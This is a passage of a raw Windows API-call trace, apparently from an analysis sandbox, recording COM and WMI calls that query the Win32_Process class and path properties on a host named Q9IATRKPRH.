pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0077.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70520, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0077.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70520, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0077.393] IWbemServices:GetObject (in: This=0x1bfba0d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x116ef80, ppCallResult=0x0) returned 0x0 [0077.397] IWbemClassObject:Get (in: This=0x116ef80, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0077.397] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0077.397] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0077.397] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0077.397] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0077.397] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0077.397] IUnknown:Release (This=0x111f638) returned 0x1 [0077.399] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bfa8150) returned 0x0 [0077.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8150, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0077.400] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8150, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bfbbd00) returned 0x0 [0077.400] WbemDefPath:IUnknown:Release (This=0x1bfa8150) returned 0x0 [0077.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bfbbd00) returned 0x0 [0077.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0077.401] WbemDefPath:IUnknown:AddRef (This=0x1bfbbd00) returned 0x3 [0077.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0077.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0077.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bfa8170) returned 0x0 [0077.401] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.401] WbemDefPath:IUnknown:Release (This=0x1bfa8170) returned 0x3 [0077.401] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0077.401] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0077.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0077.401] WbemDefPath:IUnknown:Release (This=0x1bfbbd00) returned 0x2 [0077.401] WbemDefPath:IUnknown:Release (This=0x1bfbbd00) returned 0x1 [0077.401] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0077.401] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0077.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbd00, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfbbd00) returned 0x0 [0077.401] WbemDefPath:IUnknown:AddRef (This=0x1bfbbd00) returned 0x3 [0077.401] WbemDefPath:IUnknown:Release (This=0x1bfbbd00) returned 0x2 [0077.401] WbemDefPath:IWbemPath:SetText (This=0x1bfbbd00, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0077.402] IWbemClassObject:Get (in: This=0x116ef80, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0077.402] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0077.402] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0077.402] IWbemClassObject:Get (in: This=0x116ef80, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0077.414] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0077.415] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0077.415] IWbemClassObject:Get (in: This=0x116ef80, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0077.415] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0077.415] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0077.415] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0077.415] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0077.415] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0077.415] IUnknown:Release (This=0x111f638) returned 0x1 [0077.417] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa8310) returned 0x0 [0077.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8310, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0077.418] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8310, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbbdc0) returned 0x0 [0077.418] WbemDefPath:IUnknown:Release (This=0x1bfa8310) returned 0x0 [0077.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbbdc0) returned 0x0 [0077.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0077.418] WbemDefPath:IUnknown:AddRef (This=0x1bfbbdc0) returned 0x3 [0077.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0077.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0077.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8350) returned 0x0 [0077.419] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8350, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.419] WbemDefPath:IUnknown:Release (This=0x1bfa8350) returned 0x3 [0077.419] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0077.419] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0077.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0077.419] WbemDefPath:IUnknown:Release (This=0x1bfbbdc0) returned 0x2 [0077.419] WbemDefPath:IUnknown:Release (This=0x1bfbbdc0) returned 0x1 [0077.419] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0077.419] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0077.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbdc0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbbdc0) returned 0x0 [0077.419] WbemDefPath:IUnknown:AddRef (This=0x1bfbbdc0) returned 0x3 [0077.419] WbemDefPath:IUnknown:Release (This=0x1bfbbdc0) returned 0x2 [0077.419] WbemDefPath:IWbemPath:SetText (This=0x1bfbbdc0, uMode=0x4, pszPath="") returned 0x0 [0077.419] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0077.419] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0077.419] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0077.419] IUnknown:Release (This=0x111f638) returned 0x1 [0077.421] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa8310) returned 0x0 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8310, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0077.422] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8310, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbbe80) returned 0x0 [0077.422] WbemDefPath:IUnknown:Release (This=0x1bfa8310) returned 0x0 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbbe80) returned 0x0 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0077.422] WbemDefPath:IUnknown:AddRef (This=0x1bfbbe80) returned 0x3 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0077.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8390) returned 0x0 [0077.422] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8390, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.423] WbemDefPath:IUnknown:Release (This=0x1bfa8390) returned 0x3 [0077.423] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0077.423] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0077.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0077.423] WbemDefPath:IUnknown:Release (This=0x1bfbbe80) returned 0x2 [0077.423] WbemDefPath:IUnknown:Release (This=0x1bfbbe80) returned 0x1 [0077.423] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0077.423] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0077.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbe80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbbe80) returned 0x0 [0077.423] WbemDefPath:IUnknown:AddRef (This=0x1bfbbe80) returned 0x3 [0077.423] WbemDefPath:IUnknown:Release (This=0x1bfbbe80) returned 0x2 [0077.423] WbemDefPath:IWbemPath:SetText (This=0x1bfbbe80, uMode=0x4, pszPath="") returned 0x0 [0077.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbe80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0077.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbdc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0077.423] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbbe80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0077.423] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbbe80, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0077.423] WbemDefPath:IWbemPath:SetServer (This=0x1bfbbe80, Name="Q9IATRKPRH") returned 0x0 [0077.423] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0077.423] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0077.424] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0077.424] IUnknown:Release (This=0x111f638) returned 0x1 [0077.425] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa83b0) returned 0x0 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa83b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0077.426] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa83b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbbf40) returned 0x0 [0077.426] WbemDefPath:IUnknown:Release (This=0x1bfa83b0) returned 0x0 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbbf40) returned 0x0 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0077.426] WbemDefPath:IUnknown:AddRef (This=0x1bfbbf40) returned 0x3 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, 